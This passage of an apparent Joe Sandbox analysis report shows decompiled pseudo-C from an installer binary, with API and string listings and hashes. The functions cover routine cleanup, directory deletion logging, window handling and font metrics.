						L00401328();
					}
					 *0x48f419 = 0;
					_t3 =  *0x48f478; // 0x6c2880
					LocalFree(_t3);
					 *0x48f478 = 0;
					_t18 =  *0x48f440; // 0x6c3eb4
					while(_t18 != 0x48f440) {
						VirtualFree( *(_t18 + 8), 0, 0x8000);
						_t18 =  *_t18;
					}
					E00401390(0x48f440);
					E00401390(0x48f450);
					E00401390(0x48f47c);
					_t14 =  *0x48f438; // 0x6c3880
					while(_t14 != 0) {
						 *0x48f438 =  *_t14;
						LocalFree(_t14);
						_t14 =  *0x48f438; // 0x6c3880
					}
					_pop( *[fs:0x0]);
					_push(0x401b6f);
					if( *0x48f036 != 0) {
						_push(0x48f420);
						L00401330();
					}
					_push(0x48f420);
					L00401338();
					return _t14;
				}
			}

0x00401a91
0x00401a9b
0x00401b71
0x00401aa1
0x00401aa3
0x00401aa4
0x00401aa9
0x00401aac
0x00401ab6
0x00401ab8
0x00401abd
0x00401abd
0x00401ac2
0x00401ac9
0x00401acf
0x00401ad6
0x00401adb
0x00401af5
0x00401aee
0x00401af3
0x00401af3
0x00401b02
0x00401b0c
0x00401b16
0x00401b1b
0x00401b22
0x00401b26
0x00401b2d
0x00401b32
0x00401b37
0x00401b3b
0x00401b45
0x00401b51
0x00401b53
0x00401b58
0x00401b58
0x00401b5d
0x00401b62
0x00401b67
0x00401b67

APIs

RtlEnterCriticalSection.KERNEL32(0048F420,00000000,00401B68), ref: 00401ABD
LocalFree.KERNEL32(006C2880,00000000,00401B68), ref: 00401ACF
VirtualFree.KERNEL32(?,00000000,00008000,006C2880,00000000,00401B68), ref: 00401AEE
LocalFree.KERNEL32(006C3880,?,00000000,00008000,006C2880,00000000,00401B68), ref: 00401B2D
RtlLeaveCriticalSection.KERNEL32(0048F420,00401B6F), ref: 00401B58
RtlDeleteCriticalSection.KERNEL32(0048F420,00401B6F), ref: 00401B62

Strings

T>l, xrefs: 00401B11

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID: T>l
API String ID: 3782394904-2436196720
Opcode ID: 087646bccf734afe8a4f13846a90f5dc5aaf49b81b64397dc3aa56e171fbbab5
Instruction ID: 861cf6afa8173077facbf206f1cb7448a694e5b835b4eeb9b82801bed0fc4338
Opcode Fuzzy Hash: 087646bccf734afe8a4f13846a90f5dc5aaf49b81b64397dc3aa56e171fbbab5
Instruction Fuzzy Hash: AD116D30A007405AE711ABA9AC82F1F37A59765B08F64487FF400A7AF2D77CA858876D

Uniqueness

Uniqueness Score: -1.00%

Function 00456FD4 Relevance: 12.1, APIs: 1, Strings: 7, Instructions: 121
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00456FD4(void* __eax, void* __ebx, intOrPtr __ecx, char __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				char _v9;
				char _v16;
				char _v20;
				char _v24;
				signed int _t43;
				intOrPtr _t50;
				void* _t64;
				void* _t70;
				void* _t75;
				intOrPtr _t87;
				signed int _t103;
				void* _t104;
				char _t106;
				void* _t109;

				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v24 = 0;
				_v8 = __ecx;
				_t106 = __edx;
				_t75 = __eax;
				_push(_t109);
				_push(0x457156);
				_push( *[fs:eax]);
				 *[fs:eax] = _t109 + 0xffffffec;
				_t103 = E00450F24(__eax, __edx, __eflags);
				if(_t103 == 0xffffffff || (_t103 & 0x00000010) == 0) {
					_v9 = 1;
					goto L18;
				} else {
					_v20 = _t106;
					_v16 = 0xb;
					E00455538("Deleting directory: %s", _t75, 0,  &_v20, _t103, _t106);
					if((_t103 & 0x00000001) == 0) {
						L9:
						_t43 = E00451254(_t75, _t106, _t117);
						asm("sbb eax, eax");
						_v9 =  ~( ~_t43);
						if(_v9 != 0) {
							L18:
							_pop(_t87);
							 *[fs:eax] = _t87;
							_push(E0045715D);
							return E00403418( &_v24);
						}
						_t104 = GetLastError();
						if(_v8 == 0) {
							__eflags = _a4;
							if(_a4 == 0) {
								L16:
								_v20 = _t104;
								_v16 = 0;
								E00455538("Failed to delete directory (%d).", _t75, 0,  &_v20, _t104, _t106);
								goto L18;
							}
							_t50 = E00456E2C(_a4, _t75, _t106, _t104, _t106);
							__eflags = _t50;
							if(_t50 == 0) {
								goto L16;
							}
							__eflags =  *0x48e0dc - 2;
							if( *0x48e0dc != 2) {
								goto L16;
							}
							_v20 = _t104;
							_v16 = 0;
							E00455538("Failed to delete directory (%d). Will delete on restart (if empty).", _t75, 0,  &_v20, _t104, _t106);
							E00456F04(_t75, _t75, _t106, _t104, _t106);
							goto L18;
						}
						_v20 = _t104;
						_v16 = 0;
						E00455538("Failed to delete directory (%d). Will retry later.", _t75, 0,  &_v20, _t104, _t106);
						E00403528();
						E00403594( &_v24, _t106);
						E0045410C(_v8, 0, _v24);
						goto L18;
					}
					_t115 = _t103 & 0x00000400;
					if((_t103 & 0x00000400) != 0) {
						L5:
						_t64 = E004512CC(_t75, _t103 & 0xfffffffe, _t106, _t116);
						_t117 = _t64;
						if(_t64 == 0) {
							E00455348("Failed to strip read-only attribute.", _t75, _t103, _t106);
						} else {
							E00455348("Stripped read-only attribute.", _t75, _t103, _t106);
						}
						goto L9;
					}
					_t70 = E00452620(_t75, _t75, _t106, _t103, _t106, _t115);
					_t116 = _t70;
					if(_t70 == 0) {
						E00455348("Not stripping read-only attribute because the directory does not appear to be empty.", _t75, _t103, _t106);
						goto L9;
					}
					goto L5;
				}
			}

0x00456fda
0x00456fdb
0x00456fdc
0x00456fdf
0x00456fe2
0x00456fe5
0x00456fe7
0x00456feb
0x00456fec
0x00456ff1
0x00456ff4
0x00457000
0x00457005
0x0045713c
0x00000000
0x00457017
0x00457017
0x0045701a
0x00457028
0x00457033
0x0045707e
0x00457082
0x00457089
0x0045708d
0x00457094
0x00457140
0x00457142
0x00457145
0x00457148
0x00457155
0x00457155
0x0045709f
0x004570a5
0x004570e6
0x004570ea
0x00457124
0x00457124
0x00457127
0x00457135
0x00000000
0x00457135
0x004570f1
0x004570f6
0x004570f8
0x00000000
0x00000000
0x004570fa
0x00457101
0x00000000
0x00000000
0x00457103
0x00457106
0x00457114
0x0045711d
0x00000000
0x0045711d
0x004570a7
0x004570aa
0x004570b8
0x004570ca
0x004570d4
0x004570df
0x00000000
0x004570df
0x00457035
0x0045703b
0x0045704a
0x00457053
0x00457058
0x0045705a
0x0045706d
0x0045705c
0x00457061
0x00457061
0x00000000
0x0045705a
0x00457041
0x00457046
0x00457048
0x00457079
0x00000000
0x00457079
0x00000000
0x00457048

APIs

GetLastError.KERNEL32(00000000,00457156,?,00000000,?,00000000), ref: 0045709A

Part of subcall function 00452620: FindClose.KERNEL32(000000FF,00452716), ref: 00452705

Part of subcall function 00455348: GetLocalTime.KERNEL32(0048DC69,00000000,004554CF,?,?,00000000,0048F628,?,00473FBC,00000000,004740D7,?,?,00000000,0048F628,00000000), ref: 00455378

Strings

Failed to delete directory (%d). Will delete on restart (if empty)., xrefs: 0045710F
Deleting directory: %s, xrefs: 00457023
Failed to delete directory (%d)., xrefs: 00457130
Failed to strip read-only attribute., xrefs: 00457068
Stripped read-only attribute., xrefs: 0045705C
Failed to delete directory (%d). Will retry later., xrefs: 004570B3
Not stripping read-only attribute because the directory does not appear to be empty., xrefs: 00457074

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CloseErrorFindLastLocalTime
String ID: Deleting directory: %s$Failed to delete directory (%d).$Failed to delete directory (%d). Will delete on restart (if empty).$Failed to delete directory (%d). Will retry later.$Failed to strip read-only attribute.$Not stripping read-only attribute because the directory does not appear to be empty.$Stripped read-only attribute.
API String ID: 3419951142-1448842058
Opcode ID: 5d5a862774a63f82b3f92f113b04abfa40fdc449dd3affd08b211ebcb976e342
Instruction ID: e7510856a5bd63b3272ba8fdda5cf88a4932d2c12bc69fe274495a2ac2fcb9de
Opcode Fuzzy Hash: 5d5a862774a63f82b3f92f113b04abfa40fdc449dd3affd08b211ebcb976e342
Instruction Fuzzy Hash: DA41F530A086449ACB14DFAA98013AEB6E65B45306F5185BFBC05E7393D7BC8E0DC75A

Uniqueness

Uniqueness Score: -1.00%

Function 00422E34 Relevance: 12.1, APIs: 8, Instructions: 119
windowCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00422E34(intOrPtr __eax, void* __ebx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v26;
				struct HWND__* _v32;
				intOrPtr _t50;
				intOrPtr _t51;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t56;
				intOrPtr _t71;
				void* _t76;
				intOrPtr _t102;
				void* _t103;
				void* _t104;
				void* _t106;
				void* _t107;
				intOrPtr _t108;

				_t104 = __esi;
				_t103 = __edi;
				_t106 = _t107;
				_t108 = _t107 + 0xffffffe4;
				_push(__ebx);
				_v8 = __eax;
				E004140C4();
				if( *((char*)(_v8 + 0x37)) != 0 ||  *((char*)(_v8 + 0x38)) == 0 || ( *(_v8 + 0x119) & 0x00000008) != 0 ||  *((char*)(_v8 + 0x116)) == 1) {
					E00408C54(0x48f628, 0xf032, 1, _t103, _t104);
					E00403134();
				}
				if(GetCapture() != 0) {
					SendMessageA(GetCapture(), 0x1f, 0, 0);
				}
				ReleaseCapture();
				 *(_v8 + 0x119) =  *(_v8 + 0x119) | 0x00000008;
				_v32 = GetActiveWindow();
				_t50 =  *0x48e57c; // 0x0
				_v20 = _t50;
				_t51 =  *0x48f62c; // 0x22f0660
				_v24 =  *((intOrPtr*)(_t51 + 0x4c));
				_t53 =  *0x48f62c; // 0x22f0660
				 *((intOrPtr*)(_t53 + 0x4c)) = _v8;
				_t54 =  *0x48f62c; // 0x22f0660
				_v26 =  *((intOrPtr*)(_t54 + 0x28));
				_t56 =  *0x48f62c; // 0x22f0660
				E00423378(_t56, 0);
				_v16 = E0041EE88(0, 0x48f628, _t103, _t104);
				_push(_t106);
				_push(0x42301e);
				_push( *[fs:edx]);
				 *[fs:edx] = _t108;
				E00422DE8(_v8);
				_push(_t106);
				_push(0x422fc7);
				_push( *[fs:edx]);
				 *[fs:edx] = _t108;
				SendMessageA(E004181C4(_v8), 0xb000, 0, 0);
				 *((intOrPtr*)(_v8 + 0x128)) = 0;
				do {
					E004244A0( *0x48f628, _t103, _t104);
					if( *((char*)( *0x48f628 + 0x7c)) == 0) {
						if( *((intOrPtr*)(_v8 + 0x128)) != 0) {
							E00422D38(_v8, 0xf032);
						}
					} else {
						 *((intOrPtr*)(_v8 + 0x128)) = 2;
					}
					_t71 =  *((intOrPtr*)(_v8 + 0x128));
				} while (_t71 == 0);
				_v12 = _t71;
				SendMessageA(E004181C4(_v8), 0xb001, 0, 0);
				_t76 = E004181C4(_v8);
				if(_t76 != GetActiveWindow()) {
					_v32 = 0;
				}
				_pop(_t102);
				 *[fs:eax] = _t102;
				_push(0x422fce);
				return E00422DE0();
			}

0x00422e34
0x00422e34
0x00422e35
0x00422e37
0x00422e3a
0x00422e3b
0x00422e43
0x00422e4f
0x00422e7e
0x00422e83
0x00422e83
0x00422e8f
0x00422e9d
0x00422e9d
0x00422ea2
0x00422eaa
0x00422eb6
0x00422eb9
0x00422ebe
0x00422ec1
0x00422ec9
0x00422ecc
0x00422ed4
0x00422ed7
0x00422ee0
0x00422ee6
0x00422eeb
0x00422ef7
0x00422efc
0x00422efd
0x00422f02
0x00422f05
0x00422f0b
0x00422f12
0x00422f13
0x00422f18
0x00422f1b
0x00422f30
0x00422f3a
0x00422f40
0x00422f42
0x00422f4d
0x00422f68
0x00422f6d
0x00422f6d
0x00422f4f
0x00422f52
0x00422f52
0x00422f75
0x00422f7b
0x00422f7f
0x00422f94
0x00422f9c
0x00422faa
0x00422fae
0x00422fae
0x00422fb3
0x00422fb6
0x00422fb9
0x00422fc6

APIs

GetCapture.USER32 ref: 00422E88
GetCapture.USER32 ref: 00422E97
SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 00422E9D
ReleaseCapture.USER32(?), ref: 00422EA2
GetActiveWindow.USER32 ref: 00422EB1
SendMessageA.USER32(00000000,0000B000,00000000,00000000), ref: 00422F30
SendMessageA.USER32(00000000,0000B001,00000000,00000000), ref: 00422F94
GetActiveWindow.USER32 ref: 00422FA3

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CaptureMessageSend$ActiveWindow$Release
String ID:
API String ID: 862346643-0
Opcode ID: 17b80066470d9629b40eb65c1369ae5239412fa7006ec153d7f7e8c348157a78
Instruction ID: 61331741e1a9d32dfd914a534bb7b7a1458fc2215028607276cfa4a9f0666116
Opcode Fuzzy Hash: 17b80066470d9629b40eb65c1369ae5239412fa7006ec153d7f7e8c348157a78
Instruction Fuzzy Hash: 96415670B00254AFD750EB6ADA42B9E77F5EF09304F5140BAF440EB2A2D7B85E41DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00429464 Relevance: 12.1, APIs: 8, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00429464(struct HDC__* __eax, void* __ebp, void* __eflags) {
				struct tagTEXTMETRICA _v112;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t14;
				signed int _t18;
				signed int _t20;
				struct HDC__* _t26;
				signed int _t27;
				signed int _t29;
				signed int _t30;
				void* _t31;
				void* _t35;
				struct HDC__* _t37;
				struct tagTEXTMETRICA* _t39;

				_t39 =  &_v112;
				_t37 = __eax;
				_push(0);
				L00405F1C();
				_t26 = __eax;
				GetTextMetricsA(__eax, _t39);
				_t14 = SelectObject(_t26, E0041A1CC( *((intOrPtr*)(_t37 + 0x44)), _t26, _t31, _t35, _t37));
				GetTextMetricsA(_t26,  &(_v112.tmMaxCharWidth));
				SelectObject(_t26, _t14);
				_push(_t26);
				_push(0);
				L00406104();
				if( *0x48f5c4 == 0) {
					_t27 = _t39->tmHeight;
					_t18 = _v112.tmHeight;
					if(_t27 > _t18) {
						_t27 = _t18;
					}
					_t20 = GetSystemMetrics(6) << 2;
					if(_t27 < 0) {
						_t27 = _t27 + 3;
					}
					_t29 = _t20 + (_t27 >> 2);
				} else {
					if( *((char*)(_t37 + 0xc5)) == 0) {
						_t30 = 6;
					} else {
						_t30 = 8;
					}
					_t29 = GetSystemMetrics(6) * _t30;
				}
				return E00414620(_t37, _v112 + _t29);
			}

0x00429467
0x0042946a
0x0042946c
0x0042946e
0x00429473
0x00429477
0x00429486
0x00429493
0x0042949a
0x0042949f
0x004294a0
0x004294a2
0x004294ae
0x004294d2
0x004294d5
0x004294db
0x004294dd
0x004294dd
0x004294e6
0x004294eb
0x004294ed
0x004294ed
0x004294f5
0x004294b0
0x004294b7
0x004294c0
0x004294b9
0x004294b9
0x004294b9
0x004294ce
0x004294ce
0x0042950a

APIs

73AFAC50.USER32(00000000), ref: 0042946E
GetTextMetricsA.GDI32(00000000), ref: 00429477

Part of subcall function 0041A1CC: CreateFontIndirectA.GDI32(?), ref: 0041A28B

SelectObject.GDI32(00000000,00000000), ref: 00429486
GetTextMetricsA.GDI32(00000000,?), ref: 00429493
SelectObject.GDI32(00000000,00000000), ref: 0042949A
73AFB380.USER32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 004294A2
GetSystemMetrics.USER32 ref: 004294C7
GetSystemMetrics.USER32 ref: 004294E1

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Metrics$ObjectSelectSystemText$B380CreateFontIndirect
String ID:
API String ID: 3751190600-0
Opcode ID: 23f1bc0c727ee9f77e6f489ff04873a24ebfd5f713f10d19075d6d31f4be828a
Instruction ID: d39c3b8cedb85ddee27945d09177e972c60518b1d53f70601292aced946c6937
Opcode Fuzzy Hash: 23f1bc0c727ee9f77e6f489ff04873a24ebfd5f713f10d19075d6d31f4be828a
Instruction Fuzzy Hash: 500104513087503AE7107A7ADCC6F6B26C8DB8434CF44053BF646DA3C3D56C9C41872A

Uniqueness

Uniqueness Score: -1.00%

Function 0041DE08 Relevance: 12.1, APIs: 8, Instructions: 60
windowCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E0041DE08(int __eax) {
				int _t2;

				_push(0);
				L00405F1C();
				_push(0x5a);
				_push(__eax);
				L00405C4C();
				 *0x48f604 = __eax;
				_push(__eax);
				_push(0);
				L00406104();
				_t2 =  *0x48f604; // 0x60
				 *0x48e4e4 =  ~(MulDiv(8, _t2, 0x48));
				 *0x48f608 = GetStockObject(7);
				 *0x48f60c = GetStockObject(5);
				 *0x48f610 = GetStockObject(0xd);
				 *0x48f614 = LoadIconA(0, 0x7f00);
				 *0x48f618 = E00419B20(0x2c, 1);
				 *0x48f61c = E00419B20(0x10, 1);
				 *0x48f620 = E00419B20(0x10, 1);
				 *0x48e564 = E00402B48(1);
				 *0x48f624 = E00402B48(1);
				return E0040AF80(0x419044, 0x41a04c, 0x41a07c);
			}

0x0041de09
0x0041de0b
0x0041de12
0x0041de14
0x0041de15
0x0041de1a
0x0041de1f
0x0041de20
0x0041de22
0x0041de29
0x0041de38
0x0041de44
0x0041de50
0x0041de5c
0x0041de6d
0x0041de82
0x0041de97
0x0041deac
0x0041debd
0x0041dece
0x0041dee8

APIs

73AFAC50.USER32(00000000,?,0041903D,0048DCD1), ref: 0041DE0B
73AFAD70.GDI32(00000000,0000005A,00000000,?,0041903D,0048DCD1), ref: 0041DE15
73AFB380.USER32(00000000,00000000,00000000,0000005A,00000000,?,0041903D,0048DCD1), ref: 0041DE22
MulDiv.KERNEL32(00000008,00000060,00000048), ref: 0041DE31
GetStockObject.GDI32(00000007), ref: 0041DE3F
GetStockObject.GDI32(00000005), ref: 0041DE4B
GetStockObject.GDI32(0000000D), ref: 0041DE57
LoadIconA.USER32 ref: 0041DE68

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ObjectStock$B380IconLoad
String ID:
API String ID: 1412791550-0
Opcode ID: b001289e577f4548cbbd651e21da946ecebc771b89fe2a672f2df9ecb584a152
Instruction ID: 93c722843342e57aeca8888d365bffc1acb5eff67fb6fd0c7f9653bc9279ffa7
Opcode Fuzzy Hash: b001289e577f4548cbbd651e21da946ecebc771b89fe2a672f2df9ecb584a152
Instruction Fuzzy Hash: 7E112BB06442019EE340BFB56C9276E3790EB54708F10453FF604BF2E2E6791C598B6E

Uniqueness

Uniqueness Score: -1.00%

Function 0045DCA4 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 273
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0045DCA4(intOrPtr* __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				intOrPtr* _v8;
				struct HICON__* _v12;
				char _v16;
				char _v17;
				intOrPtr _v44;
				intOrPtr _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _t129;
				signed int _t136;
				signed int _t139;
				signed int _t142;
				intOrPtr _t149;
				intOrPtr _t153;
				intOrPtr _t157;
				intOrPtr _t158;
				intOrPtr _t159;
				signed int _t165;
				signed int _t172;
				signed int _t177;
				signed int _t180;
				void* _t183;
				void* _t186;
				intOrPtr _t188;
				intOrPtr _t191;
				void* _t204;
				intOrPtr _t212;
				intOrPtr _t238;
				signed int _t239;
				intOrPtr _t240;
				signed int _t245;
				intOrPtr _t247;
				intOrPtr _t249;
				void* _t253;
				void* _t257;
				void* _t262;
				void* _t264;
				signed int* _t270;
				intOrPtr _t271;
				intOrPtr _t272;
				void* _t273;
				void* _t275;
				void* _t276;
				void* _t277;
				intOrPtr _t278;
				void* _t279;

				_t267 = __edi;
				_t276 = _t277;
				_t278 = _t277 + 0xffffffc8;
				_v16 = 0;
				_t216 = __edx;
				_v8 = __eax;
				 *[fs:eax] = _t278;
				_t220 =  *_v8;
				 *((intOrPtr*)( *_v8 - 0x10))( *[fs:eax], 0x45e05e, _t276, __edi, __esi, __ebx, _t275);
				_t129 =  *((intOrPtr*)(__edx + 8));
				_t238 =  *((intOrPtr*)(_t129 + 8));
				_t279 = _t238 - 0xfffffe6b;
				if(_t279 > 0) {
					_t239 = _t238 - 0xfffffe6d;
					__eflags = _t239;
					if(_t239 == 0) {
						_t270 =  *((intOrPtr*)(__edx + 8)) + 0xc;
						__eflags =  *_t270 & 0x00000002;
						if(( *_t270 & 0x00000002) != 0) {
							_t270[6] =  *((intOrPtr*)( *_v8 + 0x84))(0);
						}
						__eflags =  *_t270 & 0x00000020;
						if(( *_t270 & 0x00000020) != 0) {
							_t270[7] =  *((intOrPtr*)( *_v8 + 0x84))(1);
						}
						__eflags =  *_t270 & 0x00000040;
						if(( *_t270 & 0x00000040) != 0) {
							E004181C4(_v8);
							_t136 = E00409A20();
							__eflags = _t136;
							_t270[8] = (_t136 & 0xffffff00 | _t136 != 0x00000000) & 0x0000007f;
							__eflags = _t270[8];
							if(_t270[8] == 0) {
								_t139 = _t270[9];
								__eflags =  *((char*)(_t139 + 4));
								if( *((char*)(_t139 + 4)) == 0) {
									_t142 =  *((intOrPtr*)( *_v8 + 0x8c))() & 0x0000007f;
									__eflags = _t142;
									_t270[8] = _t142;
								}
							}
						}
						 *_t270 =  *_t270 | 0x00001000;
					} else {
						_t245 = _t239 - 1;
						__eflags = _t245;
						if(_t245 == 0) {
							_t149 = _v8;
							__eflags =  *((char*)(_t149 + 0xfc));
							if( *((char*)(_t149 + 0xfc)) == 0) {
								E0045DB54(_v8, __edx, __edi, __esi);
							}
						} else {
							__eflags = _t245 - 0x190;
							if(__eflags == 0) {
								E0045DBE0(_t220, __eflags, _t276);
								 *(_t216 + 0xc) = 1;
							}
						}
					}
					goto L51;
				} else {
					if(_t279 == 0) {
						_t153 = _v8;
						__eflags =  *((char*)(_t153 + 0x105));
						if( *((char*)(_t153 + 0x105)) != 0) {
							E00408BA4("Internal error: Item already expanding", 1);
							E00403134();
						}
						 *((char*)(_v8 + 0x105)) = 1;
						_push(_t276);
						_push(0x45de3d);
						_push( *[fs:eax]);
						 *[fs:eax] = _t278;
						_t271 =  *((intOrPtr*)(_t216 + 8));
						__eflags =  *((intOrPtr*)(_t271 + 0xc)) - 2;
						if( *((intOrPtr*)(_t271 + 0xc)) != 2) {
							L22:
							__eflags = 0;
							_pop(_t247);
							 *[fs:eax] = _t247;
							_push(0x45e048);
							_t157 = _v8;
							 *((char*)(_t157 + 0x105)) = 0;
							return _t157;
						} else {
							_t158 =  *((intOrPtr*)(_t271 + 0x5c));
							__eflags =  *((char*)(_t158 + 5));
							if( *((char*)(_t158 + 5)) != 0) {
								goto L22;
							} else {
								_t159 =  *((intOrPtr*)(_t271 + 0x5c));
								__eflags =  *((char*)(_t159 + 4));
								if( *((char*)(_t159 + 4)) != 0) {
									goto L22;
								} else {
									 *((char*)( *((intOrPtr*)(_t271 + 0x5c)) + 5)) = 1;
									_v12 = SetCursor(LoadCursorA(0, 0x7f02));
									 *[fs:eax] = _t278;
									_t165 =  *((intOrPtr*)( *_v8 + 0x80))( *[fs:eax], 0x45de1e, _t276);
									__eflags = _t165;
									if(_t165 == 0) {
										 *((char*)( *((intOrPtr*)(_t271 + 0x5c)) + 5)) = 0;
										 *(_t216 + 0xc) = 1;
									} else {
										E004181C4(_v8);
										_t172 = E00409A20();
										__eflags = _t172;
										if(_t172 == 0) {
											E0045E09C(_v8, 0,  *((intOrPtr*)(_t271 + 0x3c)));
										}
									}
									__eflags = 0;
									_pop(_t249);
									 *[fs:eax] = _t249;
									_push(0x45de25);
									return SetCursor(_v12);
								}
							}
						}
					} else {
						_t253 = _t238 - 0xfffffe61;
						if(_t253 == 0) {
							_t272 = _t129;
							__eflags =  *(_t272 + 0x14);
							if( *(_t272 + 0x14) != 0) {
								__eflags =  *(_t272 + 0x3c);
								if( *(_t272 + 0x3c) != 0) {
									E004181C4(_v8);
									_t183 = E00409A38();
									E004181C4(_v8);
									_t186 = E00409A38();
									__eflags = _t183 - _t186;
									if(_t183 != _t186) {
										_t111 = __edx + 0xc;
										 *_t111 =  *(__edx + 0xc) | 0x00000001;
										__eflags =  *_t111;
									}
								}
							}
							_t177 =  *(_t272 + 0x3c);
							__eflags = _t177;
							if(_t177 != 0) {
								_v60 = 8;
								_v56 = _t177;
								_v48 = 0x20;
								_t180 = E00409A88(E004181C4(_v8),  &_v60);
								__eflags = _t180;
								if(_t180 != 0) {
									__eflags = _v52 & 0x00000020;
									if((_v52 & 0x00000020) != 0) {
										_t122 = _t216 + 0xc;
										 *_t122 =  *(_t216 + 0xc) | 0x00000002;
										__eflags =  *_t122;
									}
								}
							}
						} else {
							_t257 = _t253 - 4;
							if(_t257 == 0) {
								_t273 =  *((intOrPtr*)(__edx + 8)) + 0xc;
								_t188 =  *((intOrPtr*)(_t273 + 0x24));
								__eflags =  *((char*)(_t188 + 4));
								if( *((char*)(_t188 + 4)) != 0) {
									__eflags =  *(_t273 + 0x10);
									if( *(_t273 + 0x10) != 0) {
										E00403544( &_v16,  *(_t273 + 0x10));
										_v17 = 1;
										_t191 = _v8;
										__eflags =  *((short*)(_t191 + 0x112));
										if( *((short*)(_t191 + 0x112)) != 0) {
											_t216 = _v8;
											 *((intOrPtr*)(_v8 + 0x110))( &_v17);
										}
										__eflags = _v17;
										if(_v17 != 0) {
											E00403468( *((intOrPtr*)(_t273 + 0x24)), _t216, _v16, _t267, _t273);
											_v60 = 1;
											_v56 =  *(_t273 + 4);
											_v44 = E00403750(_v16);
											E00409AA0(E004181C4(_v8),  &_v60);
											E004181C4(_v8);
											_push(E00409A38());
											_t204 = E004181C4(_v8);
											_pop(_t262);
											E00409AFC(_t204, 0, _t262);
											E0045DB54(_v8, _t216, _t267, _t273);
										}
									}
								}
							} else {
								_t264 = _t257 - 1;
								if(_t264 == 0) {
									_t212 =  *((intOrPtr*)( *((intOrPtr*)(__edx + 8)) + 0x30));
									__eflags =  *((char*)(_t212 + 4));
									if( *((char*)(_t212 + 4)) == 0) {
										 *(__edx + 0xc) = 1;
									}
								} else {
									if(_t264 == 1) {
										E00403BAC( *((intOrPtr*)(_t129 + 0x34)));
									}
								}
							}
						}
						L51:
						_pop(_t240);
						 *[fs:eax] = _t240;
						_push(0x45e065);
						return E00403418( &_v16);
					}
				}
			}

0x0045dca4
0x0045dca5
0x0045dca7
0x0045dcaf
0x0045dcb2
0x0045dcb4
0x0045dcc2
0x0045dcca
0x0045dccc
0x0045dccf
0x0045dcd2
0x0045dcd5
0x0045dcdb
0x0045dd03
0x0045dd03
0x0045dd09
0x0045de47
0x0045de4a
0x0045de4d
0x0045de65
0x0045de65
0x0045de68
0x0045de6b
0x0045de83
0x0045de83
0x0045de86
0x0045de89
0x0045de8e
0x0045de96
0x0045de9b
0x0045dea3
0x0045dea6
0x0045deaa
0x0045deac
0x0045deaf
0x0045deb3
0x0045dec3
0x0045dec3
0x0045dec6
0x0045dec6
0x0045deb3
0x0045deaa
0x0045dec9
0x0045dd0f
0x0045dd0f
0x0045dd0f
0x0045dd10
0x0045ded4
0x0045ded7
0x0045dede
0x0045dee7
0x0045dee7
0x0045dd16
0x0045dd16
0x0045dd1c
0x0045dfcb
0x0045dfd1
0x0045dfd1
0x0045dd1c
0x0045dd10
0x00000000
0x0045dcdd
0x0045dcdd
0x0045dd39
0x0045dd3c
0x0045dd43
0x0045dd51
0x0045dd56
0x0045dd56
0x0045dd5e
0x0045dd67
